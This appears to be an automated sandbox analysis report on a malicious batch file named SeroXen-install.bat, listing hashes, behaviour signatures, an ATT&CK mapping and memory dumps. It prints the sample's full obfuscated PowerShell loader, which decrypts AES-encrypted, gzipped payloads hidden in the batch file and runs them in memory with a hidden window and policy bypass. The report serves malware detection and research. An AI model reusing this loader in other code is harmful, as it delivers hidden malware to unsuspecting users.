78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f

Analysis

max time kernel
14s
max time network
18s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
04/02/2025, 16:59

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General

Target

SeroXen-install.bat
Size

12.6MB
MD5

898f49c739026123b6a3811fa31abe70
SHA1

31ff6036b40d70d21cb1c4c0163cba0d4c720551
SHA256

78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f
SHA512

a9aa2bf15db84361f315156ee6386cac49c14c2449a72e2f50b2e0b8d100781019c246c03a38a37d5dfc71a7c1c5451457faba074d1a875cab615ecb8d3e453d
SSDEEP

49152:sW7ldCjqzV0qZpSjVbHDGYxqXTQPJee/X5nerh1gnfFijx6ygGSPlPNEIKlfuK1u:i

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2968	SeroXen-install.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
2808	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2968	SeroXen-install.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2968	SeroXen-install.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2808 wrote to memory of 2968	2808	cmd.exe	30
PID 2808 wrote to memory of 2968	2808	cmd.exe	30
PID 2808 wrote to memory of 2968	2808	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\SeroXen-install.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2808
- C:\Users\Admin\AppData\Local\Temp\SeroXen-install.bat.exe
  "SeroXen-install.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function agDFc($vCpVI){ $Qviqn=[System.Security.Cryptography.Aes]::Create(); $Qviqn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Qviqn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Qviqn.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('eSyKXuxugFflvGlW9qE6Iqg8XcAom2v4/DjQoKKC570='); $Qviqn.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9iro50udEDaxZ/wkUff9RA=='); $FmMlx=$Qviqn.CreateDecryptor(); $return_var=$FmMlx.TransformFinalBlock($vCpVI, 0, $vCpVI.Length); $FmMlx.Dispose(); $Qviqn.Dispose(); $return_var;}function cZEYh($vCpVI){ $WLTiH=New-Object System.IO.MemoryStream(,$vCpVI); $KNxYU=New-Object System.IO.MemoryStream; $LOvEr=New-Object System.IO.Compression.GZipStream($WLTiH, [IO.Compression.CompressionMode]::Decompress); $LOvEr.CopyTo($KNxYU); $LOvEr.Dispose(); $WLTiH.Dispose(); $KNxYU.Dispose(); $KNxYU.ToArray();}function fELFD($vCpVI,$TXpag){ $fzHaG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$vCpVI); $UtByz=$fzHaG.EntryPoint; $UtByz.Invoke($null, $TXpag);}$QLGin=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\SeroXen-install.bat').Split([Environment]::NewLine);foreach ($AkEcQ in $QLGin) { if ($AkEcQ.StartsWith('SEROXEN')) { $fJBxd=$AkEcQ.Substring(7); break; }}$CjuJm=[string[]]$fJBxd.Split('\');$hxBpb=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[0])));$OyvxC=cZEYh (agDFc ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($CjuJm[1])));fELFD $OyvxC (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));fELFD $hxBpb (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\SeroXen-install.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2968-5-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

Filesize
4KB

Download
memory/2968-6-0x000000001AFF0000-0x000000001B2D2000-memory.dmp

Filesize
2.9MB

Download
memory/2968-7-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2968-8-0x0000000001DB0000-0x0000000001DB8000-memory.dmp

Filesize
32KB

Download
memory/2968-9-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2968-11-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2968-10-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2968-12-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download
memory/2968-13-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

Filesize
9.6MB

Download